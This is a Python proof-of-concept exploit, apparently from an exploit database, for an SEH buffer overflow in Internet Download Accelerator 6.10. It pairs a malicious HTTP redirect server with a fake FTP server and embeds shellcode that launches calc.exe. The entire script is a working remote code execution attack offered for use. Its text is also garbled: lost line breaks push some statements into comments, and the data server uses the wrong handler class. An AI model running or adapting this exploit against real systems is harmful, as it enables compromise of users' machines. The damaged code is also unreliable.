#!/usr/bin/python## Exploit Title: IDA 6.10.1.1527 FTP SEH Universal exploit.# Exploit Author: Fady Mohamed Osman (@fady_osman)# Exploit-db : http://www.exploit-db.com/author/?a=2986# Youtube : https://www.youtube.com/user/cutehack3r# Date: Jan 2, 2017# Vendor Homepage: http://westbyte.com/# Software Link: http://westbyte.com/index.phtml?page=support&tmp=1&lng=English&product=Internet%20Download%20Accelerator.# Version: 6.10.1.1527# Tested on: IDA 6.10.1.1527 Free Version - Windows 7 SP1 - Windows 10.# --------------# Internet download accelerator suffers from a BOF when an FTP Download of file with# long name fails.# --------------# To Exploit this issue:# 1- Run HTTP server that will redirect to the FTP file with long name.# 2- The ftp server will answer to the commands sent then will open a data connection.# 3- The script will send an empty file list and close the connection to trigger the BOF condition.# 5- Happy new year :D.
import SocketServer
import threading
# IP to listen to, needed to construct PASV response so 0.0.0.0 is not gonna work.
ip = "192.168.1.100"
ipParts = ip.split(".")
PasvResp = "("+ ipParts[0]+","+ ipParts[1]+","+ ipParts[2]+","+ ipParts[3]+",151,130)"# Run Calc.exe
buf=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B""\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B""\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31""\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA""\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14""\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65""\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC")class HTTPHandler(SocketServer.BaseRequestHandler):
"""
The request handler class for our HTTP server.
This is just so we don't have to provide a suspicious FTP link with long name.
"""
def handle(self):
# self.request is the TCP socket connected to the client
self.data = self.request.recv(1024).strip()
print "[*] Recieved HTTP Request"
print "[*] Sending Redirction To FTP"# just send back the same data, but upper-cased# SEH Offset 336 - 1056 bytes for the payload - 0x10011b53 unzip32.dll ppr 0x0c
payload = "ftp://192.168.1.100/"+'A'* 336 +"\xeb\x06\x90\x90"+"\x53\x1b\x01\x10"+ buf +"B"*(1056 - len(buf))
self.request.sendall("HTTP/1.1 302 Found\r\n"+"Host: Server\r\nConnection: close\r\nLocation: "+
payload+
"\r\nContent-type: text/html; charset=UTF-8\r\n\r\n")
print "[*] Redirection Sent..."class FTPHandler(SocketServer.BaseRequestHandler):
"""
The request handler class for our FTP server.
This will work normally and open a data connection with IDA.
"""
def handle(self):
# User Command
self.request.sendall("220 Nasty FTP Server Ready\r\n")
User = self.request.recv(1024).strip()
print "[*] Recieved User Command: "+ User
self.request.sendall("331 User name okay, need password\r\n")# PASS Command
Pass = self.request.recv(1024).strip()
print "[*] Recieved PASS Command: "+ Pass
self.request.sendall("230-Password accepted.\r\n230 User logged in.\r\n")# SYST Command
Syst = self.request.recv(1024).strip()
print "[*] Recieved SYST Command: "+ Syst
self.request.sendall("215 UNIX Type: L8\r\n")# TYPE CommandType = self.request.recv(1024).strip()
print "[*] Recieved Type Command: "+Type
self.request.sendall("200 Type set to I\r\n")# REST command
Rest = self.request.recv(1024).strip()
print "[*] Recieved Rest Command: "+ Rest
self.request.sendall("200 OK\r\n")# CWD command
Cwd = self.request.recv(2048).strip()
print "[*] Recieved CWD Command: "+ Cwd
self.request.sendall("250 CWD Command successful\r\n")# PASV command.
Pasv = self.request.recv(1024).strip()
print "[*] Recieved PASV Command: "+ Pasv
self.request.sendall("227 Entering Passive Mode "+ PasvResp +"\r\n")#LIST
List = self.request.recv(1024).strip()
print "[*] Recieved LIST Command: "+ List
self.request.sendall("150 Here comes the directory listing.\r\n226 Directory send ok.\r\n")class FTPDataHandler(SocketServer.BaseRequestHandler):
"""
The request handler class for our FTP Data connection.
This will send useless response and close the connection to trigger the error.
"""
def handle(self):
# self.request is the TCP socket connected to the client
print "[*] Recieved FTP-Data Request"
print "[*] Sending Empty List"# just send back the same data, but upper-cased
self.request.sendall("total 0\r\n\r\n")
self.request.close()if __name__ == "__main__":
HOST, PORT = ip, 8000
SocketServer.TCPServer.allow_reuse_address = True
print "[*] Starting the HTTP Server."# Create the server, binding to localhost on port 8000
HTTPServer = SocketServer.TCPServer((HOST, PORT), HTTPHandler)# Running the http server (using a thread so we can continue and listen for FTP and FTP-Data).
HTTPThread = threading.Thread(target=HTTPServer.serve_forever)
HTTPThread.daemon = True
HTTPThread.start()
print "[*] Starting the FTP Server."# Running the FTP server.
FTPServer = SocketServer.TCPServer((HOST, 21), FTPHandler)# Running the FTP server thread.
FTPThread = threading.Thread(target=FTPServer.serve_forever)
FTPThread.daemon = True
FTPThread.start()
print "[*] Opening the data connection."# Opening the FTP data connection - DON'T CHANGE THE PORT.
FTPData = SocketServer.TCPServer((HOST, 38786), FTPHandler)# Running the FTP Data connection Thread.
DataThread = threading.Thread(target=FTPData.serve_forever)
DataThread.daemon = True
DataThread.start()
print "[*] Listening for FTP Data."# Making the main thread wait.
print "[*] To exit the script please press any key at any time."
raw_input()
